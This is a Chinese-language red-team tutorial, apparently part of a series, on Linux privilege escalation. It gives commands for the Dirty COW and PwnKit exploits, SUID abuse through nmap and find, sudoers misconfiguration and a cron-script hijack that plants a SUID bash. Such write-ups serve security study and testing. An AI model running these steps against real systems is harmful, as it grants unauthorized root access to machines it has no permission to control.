连载|浅谈红队中的提权(八)-Linux 提权

本文来自无问社区,更多实战内容可前往查看http://wwlib.cn/index.php/artread/artid/10165.html续接上文 谈完红队中的权限维持后就要总结一下如何提权了 ,之前有聊过Windows提权,这里讲讲自己对Linux提权的总结。

0x01 Linux 提权

1、CVE-2016-5195

脏牛漏洞(CVE-2016-5195)是个很经典的漏洞了,从 2007 年发布 2.6.22 版本开始,直到 2016 年 10 月 18 日为止,这中间发行的所有 Linux 系统都受影响。

使用 searchsploit 看看有哪些可以利用的 POC。

searchsploit Dirty COW

可以看到内核版本在 2.6.22 至 3.9 的 Linux 都受到了影响。

使用 uname 查看当前系统内核版本。

uname -sr

可以看到这个内核版本是受到影响的。

这里以 linux/local/40838.c poc 作为示例,通过 -p 查看该 POC 所在路径。

将该 POC 上传至目标后,通过 cat 40839.c 查看该 POC 的使用命令。

gcc -pthread 40839.c -o dirty -lcrypt

./dirty

2、服务提权

CVE-2021-4034

在 Polkit 的 pkexec 中存在提权漏洞,2009 年 5 月至今发布的所有 Polkit 版本都受到影响,Polkit 预装在 CentOS、Ubuntu、Debian、Redhat、Fedora、Gentoo、Mageia 等多个 Linux 发行版上,所有存在 Polkit 的 Linux 系统均受影响。

Linux 系统用户可以通过查看 Polkit 版本来判断当前系统是否在受影响范围内,主流 Linux 发行版命令如下:

CentOS:

rpm -qa polkit

Ubuntu:

dpkg -l policykit-1

利用命令如下:

git clone https:

cd CVE-2021-4034

make

./cve-2021-4034

其他的服务提权还有数据库提权、NFS、Redis 提权等等,这类都需要 Linux 上部署有对应的服务或者有错误的配置才能利用。

3、工具

对于 Linux 提权的 CVE 有很多,可以使用一些工具帮助我们快速的发现当前 Linux 可能存在的提权漏洞。

linux-exploit-suggester

wget https:

chmod +x linux-exploit-suggester.sh

./linux-exploit-suggester.sh

linux-exploit-suggester-2

wget https:

chmod +x linux-exploit-suggester-2.pl

./linux-exploit-suggester-2.pl

4、SUID 提权

SUID 可以让程序调用者以文件拥有者的身份运行该文件,当我们以一个普通用户去运行一个 root 用户所属的 SUID 文件,我们就可以获取到 root 权限。

常见 Linux 中 root 文件列表如下:

nmap

vim

find

bash

more

less

nano

cp

使用以下命令查找具有 root 权限的 SUID 的文件,不同系统适用于不同的命令:

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000-print2>/dev/null

find / -user root -perm -4000-exec ls -ldb {} ;

nmap

在 Nmap 版本为 2.02 到 5.21 之间的具有交互模式,允许用户执行 shell 命令。

当 Nmap 位于以 root 权限执行的二进制文件列表中时,就可以使用交互式控制台来运行具有相同权限的 shell。

nmap --interactive

!sh

whoami

find

touch teamssix

find teamssix -exec whoami ;

5、SUDO 提权

一般情况下,在运行 sudo 命令时都是需要输入当前用户密码的,但如果运维人员为了方便可能会造成 /etc/sudoers 文件配置不当。

例如以下配置:

当我们使用 t 用户时,使用 sudo 命令就不需要输入密码。

6、计划任务

计划任务的原理是,当计划任务中有以 root 用户权限运行的脚本文件且我们能对该文件进行编辑时,就存在计划任务提权。

例如我们查看当前系统的计划任务:

cat /etc/crontab

可以看到当前有一条计划任务,该计划任务会以 root 权限每分钟执行一次 /tmp/teamssix.sh 脚本。

查看该脚本文件,发现该脚本文件允许任意用户编辑。

ls -l /tmp/teamssix.sh

编辑 /tmp/teamssix.sh 文件,添加以下内容:

cp /bin/bash /tmp/bash

chmod u+s /tmp/bash

添加的内容表示,复制 /bin/bash 到 /tmp/bash,并将 /tmp/bash 命令加上 SUID 权限。

当计划任务被执行后,就可以使用 /tmp/bash 文件进行提权了。

除了上面的方法外还有环境变量提权、root 密码复用提权等等方法,这里篇幅有限就不一一列举了。

0x02 总结

不管是 Windows 还是 Linux 提权,每天都有人在不断的研究,新的提权漏洞也层出不穷。

蓝队打补丁的速度总是要要晚于漏洞出现的速度,因此在实战中一般都是优先尝试使用新出的提权漏洞,这样成功率会更高,其次再去看看有没有一些配置不当可以被提权的地方。

所以平时有新的提权漏洞出来时,可以自己先本地复现一波,做好笔记,在实战的时候就能很快的找到相应的漏洞并去尝试利用了。

相关推荐
hgdlip12 分钟前
一台电脑对应一个IP地址吗?‌探讨两台电脑共用IP的可能性
服务器·网络协议·tcp/ip·电脑
雾岛LYC听风1 小时前
3. 轴指令(omron 机器自动化控制器)——>MC_HomeWithParameter&MC_Move
运维·c#·自动化
何老生2 小时前
Linux之MySQL主从复制
linux·运维·mysql
ggdpzhk2 小时前
图片详解,最简单易懂!!!Ubuntu增强功能
linux·ubuntu
GDAL2 小时前
Puppeteer-Cluster:并行处理网页操作的新利器
运维·服务器·nodehtmltoimage
又逢乱世3 小时前
Loki 分布式日志中心服务
运维·分布式
limengshi1383923 小时前
通信工程学习:什么是GFP通用成帧规范
服务器·网络·网络协议·学习·信息与通信
liuzhenghua663 小时前
python运维
运维·开发语言·python
sone121383 小时前
计算机网络(第8版)第三章 数据链路层(3.4)
服务器·网络·计算机网络
神奇椰子3 小时前
Ubuntu 常用指令和作用解析
linux·运维·ubuntu·centos·云计算·代码规范·浪浪云